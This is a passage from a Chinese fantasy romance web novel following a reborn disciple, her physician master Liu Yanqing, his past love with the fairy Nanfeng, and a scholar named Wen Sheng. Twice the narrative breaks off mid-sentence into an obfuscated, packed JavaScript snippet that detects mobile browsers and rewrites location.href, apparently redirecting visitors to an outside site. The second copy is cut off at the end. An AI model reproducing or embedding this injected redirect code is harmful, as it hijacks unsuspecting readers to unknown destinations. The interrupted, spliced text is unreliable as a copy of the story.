哪儿来的纸?如雪偷放在我枕头边的? 铺展开来,两首歪歪扭扭的诗呈现,我厌恶地咂了咂嘴,迅速收起来免得被人看到我这奇丑无比的字。 “师尊莫不是为了救我,所以阳气耗尽,因而手脚冰凉,气血不足……” 今日份的授课完毕,我趴在书案上,摊开的《诸病源候论》放在头顶,嘟着嘴嘀嘀咕咕。 柳砚清也捧着书,不过和我不是同一本,是一本前朝的诗集,端着茶盏一边饮茶一边阅读。 “有空多学习,少想无关紧要之事。还有,不许叫我师尊,不长记性。” 我撇了撇嘴,猛地将书轻轻砸在书案上,大喊一声—— “师……柳砚清!” 柳砚清有一瞬的怔愣,抬眼瞟了我一眼又重回书上。 “接下来的日子,每晚我烧一盆药水,盯着您好好泡脚!” “不必。” 柳砚清的声音淡漠。 见状,我的手在书和空中交替胡乱比划,解释起来。 “书言,寒热之症非小事,且诸病治疗的方式各有千秋。师尊常年吃药却不起作用,是该用点别的方法。寒从脚起,泡脚不仅可以促进血液循环,还可以——” 虽然心头没底,不知道对与否,越说越心虚,但我面上还是表现得一副学有所成的真诚。 “再说下去,我就罚你抄书。” “罚就罚。” 我摆出一脸无所畏惧。 他目光复杂地看着我。 “终究还是学疯了?” “抄书而已嘛,比起你的身体,抄书……不算什么。” 柳砚清轻挑眉。 “《黄帝内经》素问阴阳应象大论篇三遍,明早给我。” “……” 来真的啊。我刚才那句话难道没有让他深受感动吗!冷酷无情的男人! 天冷,我们便在房里用膳。抵着寒风把饭菜端来的人,自然是我。 医鹿山的伙食清淡,多以药膳为主。我吃不惯,总要给自己开小灶。去厨房端来两人份的餐食,也顺带给自己加个菜。捞点油荤,炒个小菜。厨房到柳砚清的药房有些距离,又怕我辛苦炒制的美味半路凉了,灵机一动,用土锅盛,回去用柳砚清烹茶的泥炉热着吃。 我简直是个天才! 晚餐后,柳砚清出门不知去哪儿,叮嘱了我几句便淋着风雪离开了。 晚些时候临近半夜才回来,见我还赖在他的药房不禁皱起眉头。 “怎么还不回房休息?” “等你泡脚啊。” 没等他回答,我便很自然地拉起他的手,走到他的床榻边按着他的肩膀让他坐下,端来我特别为他抓配的方子熬成的洗脚水。 “已经烧好啦,需要加热水跟我讲。我在这儿抄书,你慢慢泡。” “……” 不用看我都知道现在柳砚清的表情有多无语。 药房内屋便是柳砚清的床榻。手上抄着书,我的耳朵一点没放过内屋传出的窸窸窣窣的声音。鞋袜脱下的声音,玉足入水的声音…… 我趴在书案上,隔着柜架,远远观望正襟危坐赤脚泡在药水桶里的他。 嘴上说着罚我,拒绝我,可对我的事从来都是一时嘴快,凡事顺着我。我几乎能想象到重生前我和他会发生的故事。 我起身走到柜架旁,扶在木架上看他入迷。 “砚清?” 我轻声细语唤他。 他错愕地看向我,又收起视线。 “砚清。” 我又唤了他一声,迈着碎步缓缓走近他。 氤氲的热气下我隐约看到他耳根泛起的红晕。 我单膝跪在床榻边,伸出手摸了摸他骨节分明的手。方子里的药草都是益气、温阳、补血功效的,怕药效不够我甚至还多加了些,以为会这双手多多少少会温暖些。 没想到还是冰冷刺骨。 “怎么会这样……” 我失落地收回手。拿过搭在一旁的帕子,从水里捞起柳砚清的脚替他擦干脚上的水。 “我自己来——” 我打断柳砚清想抢走帕子的手,对上他有些慌乱的目光,笑了笑。 “徒弟给师傅擦脚,合情合理,是可以的。” 其实我是想借着擦脚的机会,探一探他双脚的温度。 同手一样,我托着的仿佛一块冰山上躺了数年的玉石。 我心疼地抬起头,望进那双静静俯视着我的双眼。不由攥紧了指尖,直到他因疼发出一声,我才回神松开。 “抱歉!我弄疼你了吗!不影响走路吧!我现在就去找一个木棍帮您正骨!” “无妨……” 服侍好柳砚清躺好盖好被子,见他忐忑不安地闭上眼, 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骤然喊出这个两个字,柳砚清也微微一愣,眼底闪过一线恍惚。 “你今夜为何……” 你今夜为何会突然叫我砚清?沉静的眸子里无声地向我提出疑问。 怔愣了好一会儿,他释然一般掀开被子在我身边躺下。 刚才顿在原地莫不是在做思想斗争?对嘛,天冷,再怎么羞怯也不能跟自己作对啊。 我笑着挪开一点位置让让他,见他不肯动,全身僵硬躺在床沿,我使着牛劲儿把他拖到床榻中央,才安心躺下。 “师……砚清晚安~” “……” 烛火晃动,昏暗的房间里,我闻着他平静的呼吸久久不能入睡。心鼓动得厉害,快要跳出嗓子眼一般。 “……风。” 清冷的声音在身后响起,我迟疑着回过头,恰好撞进他侧身投来的缱绻温柔的眼。 “师……砚清……” 我伸出手扶上没有温度的脸庞。柳砚清沉下眼,抬手覆上我的手背,脸庞在我的掌心蹭了蹭。 “我想你。” “我好想你。” 他呼喊着我的名字,我却忍不住涌出泪水,心口揪着疼。尽管如此,我还是抚摸他,予以安慰。 就算是时间也无法抚平所有的伤痛,哪怕是我自己……也代替不了曾经的我在他心中的位置。 “砚清,我在,我回来了。” 我刻意剥离心中浓烈的寂寞,幻想成他心中那个我的样子,拥着他的身体忘我的方向靠拢。 他伸手环住我的腰,轻轻收拢手上的力度。 “风……” 他从未喊过我的名字,更别说如此柔软的语调。 嘴唇发抖,鼻子酸涩,我抑制着内心想要呻吟哭泣的躁动,一下一下安抚着怀里的人。 雪,还在落。从南山吹来的风,路过房梁,悲鸣的呜咽。 冬天天亮得晚,医鹿山一夜之间被白雪覆盖。今天是休沐日,众人皆在屋内赖着不肯出门。 我睁开眼忘了眼窗外,天好像才蒙蒙亮。 我不禁紧紧了盖在身上的被子,翻了个身,贴近身旁的热源。 柳砚清还睡着,我小心地挪动,不敢吵醒他,悄悄朝他脸上伸出手。 睡着的时候就没了平日的生人勿进,眉眼间尽是柔和。 搭在身体的两侧的手果不其然冰得刺骨,心头一疼,我握紧靠近我一边的手,捂在手心,试图让这只手温暖一些。 我带着他的手贴近我的怀中,接着,他便睁开了眼。 “刚醒就不安分?” 沙哑低沉的声音,说话人却没看向我。 我连连摇头,见他醒了,便抓过另一只手一起捂在手心。 估计是手别着难受,柳砚清几不可闻地叹了口气,转身面向我,阖上双眼继续入睡。 我窃喜着,得寸进尺地又朝他凑了凑。 “看你表情就知道你在想什么。” “是什么表情?话说,你眼睛都没睁开啊。” 偌大的床榻两个人只占了小小的一部分。本以为柳砚清会嫌挤叫我挪开,或者主动让开。 都没有。 出乎意料的是,他竟然抬手直接将我揽进怀里,禁锢在他的双臂间。 脑袋突然砰的一声爆破一般炸开,两颊变得滚烫,心狂跳不已。 “目光躲闪,脸红心跳,满脸心虚,是要做坏事的表情。” 柳砚清舒了口气,脸颊贴上我的额头。 “说吧,想做什么?” “屋外在飘雪呢,今日不宜出门,不如我们……” 我舔了舔嘴唇,嬉笑道:“不如我们就这么在被窝赖上一整天吧。” “昨晚罚你的抄完了?” “没有。” 两人默契地沉默,纷纷看向对方。 “然后呢?” “您不是要我现在起来抄吧?!” 8. 花拥鸳房 我躲在廊下,望着柳砚清远去的背影。月华如水,将他那一袭白衣镀上一层朦胧的银光。这已经是我重生后三个月内,第三次看见他在月圆之夜独自上山了。 每月十五,月圆之日。 前两次我都按捺住了好奇心,可这一次,我总觉得心里不安。柳砚清从来不肯主动告诉我,既然他不肯说,只有做徒儿的自己发现了。 我攥紧了衣袖,提起裙摆,悄悄跟了上去。 熟悉的蜿蜒曲折,即便在黑暗中,仅靠月光看清脚下的路,我也猜到了这是通往梅林的路。 山路崎岖,柳砚清的脚步却很稳。他手中提着一盏青灯,灯影摇曳,在石阶上投下斑驳的光影。我远远跟着,不敢靠得太近。柳砚清的修为高深,稍有不慎就会被发现,到时候又免不了一顿数落。 白梅林就在山顶,月光下,一树树白梅开得正盛,花瓣纷飞如雪。柳砚清的身影没入林中,我躲在树后,看着他走到一株最大的白梅树下,盘膝而坐。 月光透过枝叶洒落,我屏住呼吸,看着柳砚清缓缓摘下束发的玉簪。刹那间,如瀑的青丝寸寸染白,在月光下泛着银色的光泽。我捂住嘴,生怕自己惊呼出声。 “出来吧。”柳砚清的声音突然响起,在寂静的夜里格外清晰。 我浑身一僵,心跳几乎停止。原来他早就发现了,亏我隐藏得这么好。 “师……”我下意识又要喊出那个称呼,又硬生生改口,“砚清……” 我走到他身边坐下,视线总不自觉看向他几乎和白梅融为一体的白发。 什么时候开始的?还是仙人活得久了,所以白了头发?可为何只在月圆之日? “砚清,”我的声音哽咽,“一定又是因为救我吧,你的头发……” 我伸出颤颤巍巍的手,指尖勾起他的一缕发丝。 从头顶垂至腰间的白发如冬日的初雪,轻盈而纯净。每一根银丝都像是被月光浸染过,泛着柔和的光泽,透出一种静谧的美感。银丝划过指缝,酥麻的感觉勾起我鼻尖酸涩。 “与你无关。”月光下他的面容依旧清冷,眼神却柔和了几分,“修行之人,总有内力不稳固的时候。” 我埋下头,抓住他的衣袖。抽噎片刻,眼泪不争气地落在手背。 “回去吧。”他轻轻抽回衣袖,见我止不住地抽噎,又抬手替我拭去眼泪,“夜深露重,你身子刚好,回去休息吧。” 我固执地摇头:“我陪着你。” 柳砚清沉默片刻,终究没有赶我走。 我抱膝坐在他身边,看着满林白梅在月光下摇曳。他的白发与白梅相映,美得惊心动魄,却又让人心疼。 夜风拂过,带来阵阵梅香。我悄悄挪近了些,将头轻轻靠在他肩上。他没有推开我,只是轻轻叹了口气。我靠在他肩头,感受着他身上清冷的药香。 “砚清,”我轻声开口,声音在寂静的夜里格外清晰,“三百多年,你有没有特别喜欢过一个人?” 他的身体明显僵了一下。我感觉到他的呼吸有一瞬间的停滞,随后又恢复如常。月光下,我看见他纤长的睫毛轻轻颤动,在苍白的脸上投下一片阴影。 他沉默了许久,久到我以为他不会回答。夜风卷起几片白梅,落在他的衣襟上。 “有。” 他终于开口,声音很轻,和着医鹿山夜里的风,仿佛怕惊扰了这片月色。 我的心猛地揪紧,却又忍不住追问。 “什么时候?” “三百年前,”他的目光望向远方,仿佛穿越了时光,“还在学医的时候。” 我抬眸,看见那张清隽的脸在月光下显得格外清冷,却又带着一丝说不出的温柔。又是这个想起过去那个我的神情。 “学医?”我轻声问,“那姑娘也是会医术的仙子?” “不是。她……不学无术。” 夜风突然大了起来,卷起满地白梅。感觉有花瓣落在眼前,我下意识躲闪,眼睛像被轻轻刺了一下。忽地,冰冷的指尖触碰我紧闭的眼,动作轻柔得让我心跳加速。再睁眼,他已经收回那只骨节分明的手。 “呵……”我自嘲般笑了一声。 我靠回他的肩头,感受着他身上传来的温度。月光下,我们的影子再次交叠在一起,仿佛融为一体。这一刻,我突然希望时间能够永远停留在这一刻。至少,让我在他肩头多停留一会儿。 “南风……” 我喃喃道。 他却像是听到了什么惊天秘密,蓦地看向我。 “南风知我意,吹梦到西洲……不知为何,那天醒来,床头多了这么一首诗。” 听完我的话,柳砚清如释重负般轻叹一息,视线收回,又看向我。 “别动,有花瓣。” 他的手指轻轻抚过我的发丝,拂去花瓣,但更像是在安抚。我闭上眼睛,听着他平稳的心跳。白梅的香气越发浓郁,我感觉到他的呼吸渐渐困意来袭。月光依旧温柔地洒落,将这片白梅林染成银色。 “你又给我施了什么想睡觉的法术吧……” “你身子还未痊愈,需要多休息。” “骗人。你就是,不喜欢我……不想和我多说两句……” 头顶似乎响起一声轻笑。 “若真是这样,怎会留你在此。” —————————————————————— 蓬莱仙岛的黄昏总是格外漫长,似乎和某位大仙的心情息息相关。夕阳将海面染成金色,浪花拍打着岸边的礁石,发出轻柔的声响。柳砚清沿着海岸漫步,白衣被海风轻轻扬起。 远处一块突出的岩石上,坐着一个身着淡青色纱裙的女子。她的长发随风飘扬,羽带也在风中起伏。海风送来她身上淡淡的莲香,混合着海水的咸涩。 “仙子今日身子可有什么不适?”柳砚清主动上前问候道。 南风仙子猛地转过头来,怒视柳砚清。她站起身,赤足踩在岩石上。 “不知礼数,没大没小,你们凡人都这么没礼貌吗?” 柳砚清一怔,连忙拱手。 “抱歉,打扰了仙子……是在下唐突了。” “哼,”南风仙子还在气头,上下打量着他,“看你一副知书达理的模样,想不到内里竟是个禽兽!” 柳砚清被这话噎住,一时不知如何回应。夕阳的余晖映在南风仙子的脸上,将她气恼的神情衬得格外生动。她的眼睛很亮,像是盛满了星光,此刻因为愤怒而更加璀璨。 “仙子误会了,”他无奈道,“在下只是见仙子独自在此,担心......” “担心什么?”南风仙子打断他的话,“担心我想不开跳海吗?” 她说着,竟真的往岩石边缘迈了一步。 柳砚清心头一紧,下意识伸手去拉她。南风仙子却突然转身,裙摆在空中划出一道优美的弧线。 旋即,仙子缓缓落在柳砚清身边,扬起唇角笑得狡黠。 “看把你吓的。” 柳砚清这才松了口气,见她赤足踩在沙滩上,脚踝纤细,每一步都像是踩在云端。 “不过,”她突然回头,眼中带着促狭,“你刚才是不是想抱我?昨晚没抱够?” 柳砚清一时语塞,耳根微微发烫。夕阳下,南风仙子的笑容比晚霞还要明媚。海风扬起她的发丝,带着淡淡的莲香。 自那日海边相遇后,柳砚清总能在仙岛的各个角落偶遇南风仙子。 有时她在药园里偷摘灵果吃,被他抓个正着;有时她在藏书阁打瞌睡,醒来时发现身上披着他的外袍;更多时候,她会在黄昏时分出现在海边,赤足踩着浪花,等他来寻。 “砚清。”南风仙子头也不回,声音里带着笑意。 柳砚清走到她身边,将手中的一枝白梅赠与她。 “西洲岛的白梅,送给仙子。” 南风仙子接过白梅,歪着头看他。 “你们行医之人,都这么会讨姑娘家欢心吗?还是说,只有你?” 柳砚清一愣。 “仙子何出此言?” 她转身背对着他,双手背在身后。 “我听说你每日课后都会去给那些身子不适的仙子疗伤,还会偷偷给凡间百姓送药。” 柳砚清微微垂眸:“医者仁心,这是分内之事。” “可我不是你的病人,”南风仙子突然凑近,莲香扑面而来,“你为何对我这般上心?” 柳砚清下意识后退半步,耳根微红。 “仙子与他人……不能相提并论。” “是嘛。原来,我是个不值一提的。” 见仙子哼了一声转身要走,柳砚清鬼使神差地抓住了她的手腕。 南风仙子没有回头,也没有挣脱。 僵持片刻,她突然举起手中的白梅,旋即轻敲柳砚清的臂膀。 “我累了,就此别过。” 她刚走出一步,柳砚清又将她拉回身前。 “仙子生气了?” “嗯——也许吧。” 夜色朦胧,柳砚清正在书房翻阅医书,南风仙子不管不顾直接推门而入,手里端着一壶刚温好的酒。她走到他身后,凑上前看了眼柳砚清手里的书,二话不说就夺走书扔到一旁。 柳砚清唇角微扬,宠溺地视线紧随身后之人。 南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078496|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风仙子甩甩手,绕到他面前,将酒壶放在桌上。 “陪我喝酒,我就原谅你。” 柳砚清无奈摇头,将桌上的纸笔砚台推至一边。 “这么好兴致?” 两只酒碗,酒香弥漫。这壶酒可是仙子整日无事可做,闲暇时自己酿的。 数年的辛苦,也算派上用场了。 南风仙子凑近他,指尖轻轻点了点他的胸口。 “我在想,外人都说你是个不食人间烟火的出家人,清心寡欲,谁知道……”她故意拖长了音调,眼中闪着狡黠的光,“你内里可是个‘衣冠禽兽’呢。借着酒,我让你原形毕露。” 柳砚清闻言,耳根微红,却故作镇定。 “看来仙子今晚想来个一醉方休?在下酒量不错,不知仙子酒量如何?” 南风仙子笑得更加开怀,索性坐到他腿上,双手环住他的脖子:“灌醉你之前,我绝对不会倒。更何况……”她凑到他耳边,压低声音说了句什么。 柳砚清轻咳一声,别过脸去:“仙子莫要胡闹。” 南风仙子却不依不饶,故意板起脸:“说错了?我可没见过像你这般的行医者。”她眨了眨眼,“就不怕破了戒,毁了道行?” 柳砚清叹了口气,伸手将她揽入怀中,声音低沉而温柔。 “我是行医人,不是出家人。凡人该有的七情六欲,我不比别人少一窍。” 掠夺般的吻迎上仙子的唇,蛮横无理,仙子生起一丝怒气,狠狠咬在他的唇上。他吃痛倒吸一口气,扣着仙子腰的手也随之紧了紧。 “又生气了?” “是气还没消。” 他笑着又吻上。唇舌的厮磨看似势均力敌不分上下,可不多时,仙子便率先败下阵来。 仙子怒着睁开了束缚,高高仰起头大口喘息着。身体后仰,怕自己掉下去,仙子只好收紧环在柳砚清脖颈上的手臂。 “怎么抱的这么紧?” “热……” “热?那不该……” “不许说!” “好,不说。那,不如再抱紧些。” 他环上仙子的腰,两人从椅子上起身。桌上的酒壶被压在下方的羽带掀翻,酒壶倾倒的瞬间,清色的酒液顺着桌沿流淌,浸湿了摊开的医书和药方。墨迹在纸上晕染开来,字迹模糊成一片。 仙子惊呼一声,慌忙伸手去扶酒壶,却被柳砚清一把扣住手腕。他的掌心温热,力道不重,却让她动弹不得。 “别动。”他的声音低哑,带着一丝警告的意味。 仙子抬眸,对上柳砚清幽深的眼睛。月光从窗外洒落,在他眼底映出点点碎光。她忽然觉得有些口干舌燥,下意识舔了舔嘴唇。 这个细微的动作却像是点燃了什么。 柳砚清的眸光一暗,扣着她手腕的力道加重了几分。仙子感觉到他的呼吸变得急促,温热的吐息拂过她的耳畔,激起一阵战栗。 “砚清......”她轻声唤他,声音里带着一丝颤抖。 柳砚清没有回应,而是仰头吻住了她的唇。这个吻来得突然而热烈,带着酒香的醇厚和药草的清苦。南风仙子只觉得天旋地转,整个人都软在了他怀里。 酒液还在流淌,浸湿了清冷的地。柳砚清浑然不觉,他的手掌顺着她的腰线游走,所过之处激起一片火热。南风仙子忍不住轻吟出声,双手攀上他的脖颈。 “砚清……”仙子在他耳边呢喃,“不在这里……” 话未说完,柳砚清带领她落入柔软之地。 医书和药方上的字迹晕染,酒壶滚到角落,发出清脆的声响。 夜风拂过,带来阵阵酒香。月光依旧温柔地洒落,将这一室旖旎染成银色。 呼……呼…… 蓬莱仙岛的四季似乎随着某位大仙的心情而变化,白日里还如秋日的黄昏,磨人燥热。此刻,春雨随风潜入夜,划过山峦沟壑,蜿蜒水河淌过淋漓春色。 羽带肆意搭在柳砚清的臂弯,缠绕上他的指尖。 他欺身近了些,伏在仙子耳边低语。 “听闻仙子前些日子去凡间收了几本书……可否给我讲讲书上的内容?” “书中讲的,可不及你有意思,给我讲讲你的事呗?” 柳砚清浅笑着慢慢撑起身,抚摸着仙子细嫩的玉肤,与她相视。 “好啊。几年,几十年,几百年,你想听,我便都讲给你听。” “那如果我突发意外,把你忘了呢?或者觉得你不够有趣,找了别的男人?” “岂不正好,把你的事一一讲给你听。让忘了事的你听听,名扬四海的南风仙子是何等风流之人。” 9. 闻此笙歌 孟春之时,千云之岭,白皑皑的医鹿山从漫长寂寥的冬季苏醒过来。 也到了我该离开柳砚清,下山寻找九个男人和自己的时候了。 离别的画面比我想的要冷清的多。 没有鞭炮起舞锣鼓喧天,更没有感人肺腑潸然泪下的一番宣讲。静悄悄的山门,柳砚清独自一人目送我,甚至两手空空,连离别的礼物都没有。 我迟疑自己是不是真的可以走,因而露出疑惑的神情。柳砚清倒神态自若,平静地与我并肩而立。 “我,走了?” 不敢确定我是下山游历还是出门买菜,都没个人来送我吗! 清雨和如雪呢!说好我走这天回来送我的。 我又难以置信地越过柳砚清望了望入山的路,空无一人。 “别望了,是我不许他们来的。” “为啥!” 我一时情急,没控制好语调又失了态,赶忙道歉。 柳砚清早有预判一般,毫无波澜。 “免得你心气浮躁。” 他徐徐走到我面前,眸光里夹杂了几分释然。 “安心上路,记住,沉心静气。” 他的眸光又落在我的手腕上,神情不再像重生之处那般冷冽。 “对着手链呼喊我,我会听见。” “嗯,我记住了。” “替人诊病虽还不到火候,但药草方面姑且过关,生活方面应该不成问题。但也别忘了多看书,巩固功课。” “放心吧,书都背上的,师尊亲笔版本。” 似乎欣慰我能有学成出师之日,在他看向我后背的行李时,我仿佛看到了他唇畔一抹似有若无的笑容。 “人心难测,万事小心。” 我下意识地点头回答,没注意柳砚清已经俯身将我拥进怀里,低头靠在我的肩膀上。 柳砚清沉默了一会,似乎在想还有什么话要同我交代。 “总之,有事,我会来帮你。” 我笑着回拥住他。 “多远都来吗?” 环住我的手臂紧了些,像告诉我,无论多远,哪怕天涯海角碧落黄泉,他总会抵达我身边。 重生前临死的我或许也置身某个黄泉之地,独独他能将我拉出深渊,重获新生。 即便这种猜想没有凭据,但我相信他说的每一句话,无条件的。 医鹿山脚下的镇子名叫鹿镇。出了鹿镇,我计划先往京都的方向走。 从鹿镇到京都有一条官道,是连接东西往来的重要商道,途径的州府也都是商贸往来的重要驿站,沿着这条路走再合适不过了。 商道旁每隔几里路便能碰见卖茶的铺子,晌午刚过,趁此歇歇脚。 回暖之际,商道上来往的马车绵延不断,茶铺外停留的马车不一会儿功夫就占了留与停车的空地。茶铺里外全是人,幸好我到是还剩一张空桌子。招呼了老板,终于能坐下歇歇脚了。 “姑娘可否介意在下拼个桌?” 一位青衫书生模样的俊秀之人立于桌边,身上背着行囊,想必也是赶路之人。 我还没来得及咽下嘴里的茶,连连摆手。 “不介意不介意,请。” 书生欠身致谢,在我对面的位置坐下,老板也恰逢其时送来了我点的玉叶长春。 “这会儿人多繁忙,公子和小姐多有担待。” 茶铺老板放下茶壶和两个茶盏后,起身招呼刚进门的一伙顾客。 对面的书生轻浅笑道:“想来老板兴许忘了在下点的茶。” “所以送来了两个茶盏。” 我晃晃拿在手里的另一个茶盏。 “先生不介意的话,可与我同饮。” 书生颔首拱手行礼,礼仪得当,有一瞬的错觉,眼前的人不像是平凡的读书人更像达官显贵家的公子。 “多谢姑娘。” 两盏茶水下肚,从医鹿山一路走来的疲惫尽数消失。书生也对茶水的清淡满意,不时点头回味。两人的行李堆放在桌旁,一大一小两个行囊。 果不其然是书生,包里满满塞的全是书。 “姑娘可是要去什么地方?” “嗯,云游四方嘛,走一步看一步。” “好巧,在下也正在云游四国的途中。” 一来二往,还不知道其姓名。有缘千里来相会,他也是我此次下山遇见的第一个人,何不交个朋友。 “还不知先生姓名?” “闻笙。”他浅浅一笑,拱手道,“是个云游四方的教书先生。” 和煦的春光打在他的身上,暖阳却似月光。 曾几何时,我是否也听人说过同样的话? 皎皎月光,似良人? 一瞬的错愕,险些打翻我手边的茶盏。溅出来的茶汤稍稍打湿胸前的衣襟,闻笙没有笑话,从怀里摸出手绢递给我。 “对了!先生想必饱览群书,可否告诉我这首诗的出处?” 我从随身的包袱里拿出之前一觉醒来不知为何自己梦游写的两首诗的其中一首不知其名的递给闻笙。 闻笙接过手,读完纸上的字有一瞬迟疑。 清风起,午后的春光透过头顶交错的树叶缝隙打在他的身上。清秀略微苍白的脸上露出一抹柔和的笑,仿佛学堂里教书的先生正看着学生的作业…… 这幅画面,我是否在何处见过? 曾经破败的书堂,竹纹青衫的男子也眉眼含笑看着我歪歪扭扭的字。此刻的他和好似过去的画面悄悄重叠在了一起。 闻笙抬眸再次看向我,我才回过神,收回紧盯着他的眼。 “这诗出自《诗经》,乃十五国风之一,名为——‘齐风’。” 齐风?也是风,该不会,和我的名字有关? 几度熟悉的错愕,我莫非真和眼前的人曾有 一时间思绪混乱,手指摩挲着茶盏的杯沿陷入沉默,直到闻笙出言打断。 “还不知姑娘姓名?” “嗷,我叫……叫我风好了。” “风好?” “风!” “咳咳,叫我风,就好了。” 打趣我成功,闻笙勾起一抹如春日暖阳的笑,目光继而落在我的头顶,温柔缱绻的眼神在斑驳光影中仿佛印着星点光芒。 “风姑娘头上的发簪,一看做工精巧,可是出自哪位名匠之手?” 我抬手取下插在发髻的神器,自然地递给他。 闻笙眼睛微微睁大,没敢接下。 “如此贵重之物,姑娘不怕我图谋不轨吗?” “你会吗?” 听到这句真诚的反问,闻笙笑了笑。 “多谢姑娘信任。” “说来,今日与姑娘搭话,是因姑娘很像在下的一位故人。只是这位古故人……去年秋日,不幸离世。” “诶?” 送到一半的茶盏又被我放回桌面,我定睛看向闻笙。 “她——怎么死……离世的?” “听闻她去西洲,想求起死回生之术。却在距离西洲孤岛一江之隔的荒野遭遇不测。后来的事……在下寻遍诸城,再也没打听到任何消息。” 随着闻笙不疾不徐的声音,他口中的故事在我脑海里逐渐描摹出雏形。那个前往西洲不得归的身影从眼前晃过,像是隔着数百里的距离,我静静地望着她…… 我恍惚了一瞬——为什么这个故事,好熟悉? “可这里是东边儿,先生又何故至此?” “适闻医鹿山的仙者可救人重生,或许,她会在那里。” 说完这句话后,闻笙瞳中忽然布上一层阴影。 “先生的那位故人,叫什么名字?” 闻笙闻言,放下手中的茶盏,指尖在手上书写了两个字,眼中流露出微妙的笑意。 “她叫,齐风。” 东方未明,颠倒衣裳。颠之倒之,自公召之。 东方未晞,颠倒裳衣。倒之颠之,自公令之。 折柳樊圃,狂夫瞿瞿。不能辰夜,不夙则莫。 ——《诗经·齐风·东方未明》 那年,是闻笙第二次进京参加科举落榜。 决心放弃追求功名利禄的他,离开京都后途径光州,在光州游历时择一处偏远乡村住下,自发担起了教书育人的先生一职。 那个叫风的姑娘是怎么找到这个几乎隐匿于山间树林的村庄的,闻笙也记不得了。 某日起,借住此地的叫风的姑娘,每日准时出现在他的课堂,坐在末尾角落的位置和一群娃娃摇晃着脑袋念书。 一日放课后,娃娃们归家,叫风的姑娘却迟迟不肯离去。 闻笙收起书本,走到她身边,才发现她正趴在桌上与周公会面。 “姑娘,该醒醒了。” 她迷迷糊糊直起身,打个哈欠揉着眼,四下张望,在对上闻笙充满笑意的目光时不好意思地笑了两声。 “不知是姑娘昨夜没休息好,还是在下所教的内容索然无味……” “不是的!先生教得很好。只是……” 风姑娘抓挠着后颈,羞涩地低垂眉眼,指了指桌上书本摊开的一页。 “这首,学生不明白。” 今天,闻笙教的《诗经》,风姑娘所指的并未在今日的教学范围内。不过既然学生有难,老师自然要答。 “《齐风》是八百多年前齐国的民歌。今日所讲关于《诗经》的知识还记得吗?” “嗯,记得。” “《国风》大抵是周初至春秋间各诸侯国的民间诗歌,这首《齐风》顾名思义就是齐国的诗歌。” 轻柔的声音耐心地给风姑娘讲述着,如同六月的风拂过竹林,动人心弦的摩挲声和恬静悠然的竹香。 日落西山,两个人并肩坐在村口的榕树下。风姑娘嘴里叼着路边随手折下的狗尾草,哼着闻笙从未听过的小调。 “还不知姑娘姓甚?只听乡亲唤你风姑娘。” 不过问起名字,风姑娘像是陷入了苦恼,眼神四处张望,最后落在自己手里的书上。 “嗯——齐风?” 闻笙跟随风姑娘的视线落在《诗经》上,浅笑反问道:“齐风?姑娘是指,诗还是?” 风姑娘笑着手指点了点自己,扬了下眉。 “我的名字,齐风。” 出了茶铺,我与闻笙相约同行。他言及目的地,我随口附和,言称巧合,实则心中笃定——他必是我所要寻觅的九位男子之一。若此猜想无误,我便已获得了重生后的第一个名字,齐风。然而,我深知齐风并非我真名,因记忆尚未复苏。我心中好奇,重生之前,我与闻笙之间究竟有着怎样的故事。 我们踏上官道,首站便是光州,闻笙提及此城乃是他与重生前的我——齐风,初次相遇之地。在未明确闻笙与“齐风”关系之前,我决定暂不向他透露失忆之事。 “姑娘确定要前往光州?”闻笙问道。 我抢先付过茶钱,用的是下山前柳砚清为我准备的路费,快步跟上在前方等候的闻笙,与他一同融入斑驳的午后光影中。 “本也是漫无目的,既然与先生相遇,不如结伴同行一段时日。况且,我还是初次造访光州呢。先生,不介意吧?”我小心翼翼地询问,生怕闻笙拒绝,朝他扬起灿烂的笑容。 闻笙回以爽朗一笑,微微点头:“当然不介意,在下正想邀约姑娘共赏光州。” “光州有何特色?”我好奇地问。 “光州啊……不知姑娘对美食可有讲究?”闻笙反问。 “有美食!请先生务必带我尝遍光州!”我兴奋地回应。 夜幕渐渐降临,光州的街边灯火升起。华灯初上,属于光州独有的夜晚随着走上街的人越来越多,正式拉开帷幕。 闻笙领着我穿梭在人潮与繁华间,茶楼酒肆铺满闹市长街,公子执扇小姐掩面,屋檐下的盏盏灯笼蔓延出去没有尽头,光州的夜空被点亮,失了夜晚的黑和寂。 悠扬的乐曲隐隐约约地从灯红酒绿间飘逸而出,不知不觉让人驻足欣赏,进而探寻乐曲的源头。 我望着楼上的牌匾“醉月楼”几个字,饶有兴趣地望向闻笙。 “这儿是做什么吃的?” 闻笙挑了挑眉,双手扶着我的肩膀望向另一边。 “柳色遮楼暗,桐花落砌香。画堂开处晚风凉。高卷水晶帘额、衬斜阳。” 楼阁上,三两位姑娘拿着各色的伞翩跹起舞。笛萧宛转悠扬,琴弦弹拨着春色、绿柳、落花。 兴许是舞台上的姑娘早已名声大噪,一登台亮相,四周的人都一齐朝这个方向涌来。我顿时慌了神,躲闪不急已没了退路,左拥右挤人声嘈杂,险些站不稳。好在双肩被一双有力的手及时扼住,视线旋转,身旁擦肩而过的人还未来得及看清,闻笙的脸却在下一瞬出现,温柔的掌心覆上我后背将我揽进怀里。 心跳漏了一拍,我靠在闻笙的怀里,任由他带着我退出人潮,在街对面一片稍稍松散的位置停下后才缓缓离开。 “谢……” 话音未落,闻笙伸手捋了捋方才冲出困境时我被弄乱的头发。 我微微怔愣,脸上攀起滚烫的热意,抬眼看向闻笙。 为什么他的表情和动作看上去如此自然?书生贤者不是讲究男女授受不亲吗? “好了。” 闻笙温润一笑,垂下手,转眼又看到我肩头的一点尘埃,又抬手掸去。 “谢谢闻公子。” “通常诗诗登场,都是这幅场面。你初来光州,恰好见识见识。” 他伸手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 